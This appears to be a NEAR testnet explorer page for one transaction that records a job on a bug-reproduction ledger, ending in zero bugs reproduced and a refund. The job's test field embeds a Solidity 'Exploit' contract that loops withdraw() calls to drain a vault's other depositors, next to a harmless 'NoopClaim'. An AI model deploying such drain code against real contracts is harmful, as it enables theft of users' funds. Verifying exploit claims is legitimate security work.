Reading from NEAR testnet…
Reading from NEAR testnet…
7QTXF6ARcYGUGyn6Z5AaLsmTzvo6Sb3VdM4NV1YFyf3s
guard.repro-1101-owner.testnet to ledger.repro-1101-owner.testnet
record_job()
{
"job_id": "pg-mwfyf5p2-fake",
"supplier": "sup.repro-1101-owner.testnet",
"price": "20000000000000000000000",
"supplier_cost": "0",
"inference_cost": "0",
"bugs_claimed": 1,
"bugs_reproduced": 0,
"evidence": "4dcbe6c19a4c1e19a0a92f9c91e0d40bc8a663567f8eb4ad4d43e762687641f2",
"repo": "https://github.com/CryptoInnovators/near-repro",
"base_ref": "da8dcc0f899221265d5ee9fc9f90315be30b2d73",
"head_ref": "da8dcc0f899221265d5ee9fc9f90315be30b2d73",
"base_tree": "d2b1a407d0cd1fb5e3695c3a93cf998f51694f31",
"head_tree": "d12171ede30451f0554ba2aec75a91bf36a511e7",
"test": "// Repro Rescue claim NoopClaim against vault 0xad57c5bb698ee89fb0de3e83cb2737ed8205cb38 on Sepolia (asserts nothing)\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.24;\n\ninterface IGuardVault {\n function deposit() external payable;\n function withdraw(uint256 amount) external;\n}\n\n// Claim: withdraw() does not debit the caller's balance, so one deposit can be withdrawn\n// repeatedly and drains other depositors. attack() returns what the caller gained beyond its own deposit.\ncontract Exploit {\n function attack(IGuardVault v) external payable returns (uint256 gained) {\n uint256 before = address(this).balance - msg.value;\n v.deposit{value: msg.value}();\n uint256 rounds = address(v).balance / msg.value;\n for (uint256 i = 0; i < rounds; i++) v.withdraw(msg.value);\n gained = address(this).balance - before - msg.value;\n }\n\n receive() external payable {}\n}\n\n// A claim that asserts nothing: an honest deposit and one matching withdrawal.\ncontract NoopClaim {\n function attack(IGuardVault v) external payable returns (uint256 gained) {\n uint256 before = address(this).balance - msg.value;\n v.deposit{value: msg.value}();\n v.withdraw(msg.value);\n gained = address(this).balance - before - msg.value;\n }\n\n receive() external payable {}\n}\n",
"verdict_sig": "2be3db0df63b287323be4fd0655ff0dc8808749be1ed514370cd905ec31f873ec6c1fde58044238ecab7c3ae2fe772cc03657a4c299cd796528f4e2b1e7bdb0b"
}EVENT_JSON:{"standard":"repro","event":"job_recorded","data":[{"job_id":"pg-mwfyf5p2-fake","bugs_claimed":1,"bugs_reproduced":0,"evidence":"4dcbe6c19a4c1e19a0a92f9c91e0d40bc8a663567f8eb4ad4d43e762687641f2","loss":"0","refund":"20000000000000000000000","revenue":"0","supplier_paid":"0"}]}ledger.repro-1101-owner.testnet to payer.repro-1101-owner.testnet
Transfer with 0.0200 NEAR
ledger.repro-1101-owner.testnet to ledger.repro-1101-owner.testnet
on_refund_sent()
{
"job_id": "pg-mwfyf5p2-fake",
"refund": "20000000000000000000000"
}3 automatic refund steps from the network not shown.
This page reads FastNEAR's public transaction index and stores nothing. This command asks a NEAR archival node for the same transaction and needs no keys.
curl -s https://archival-rpc.testnet.fastnear.com -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tx","params":{"tx_hash":"7QTXF6ARcYGUGyn6Z5AaLsmTzvo6Sb3VdM4NV1YFyf3s","sender_account_id":"guard.repro-1101-owner.testnet","wait_until":"FINAL"}}'Vouch has its own page because testnet.nearblocks.io stopped indexing on 27 Sep 2026, so it can't show newer transactions.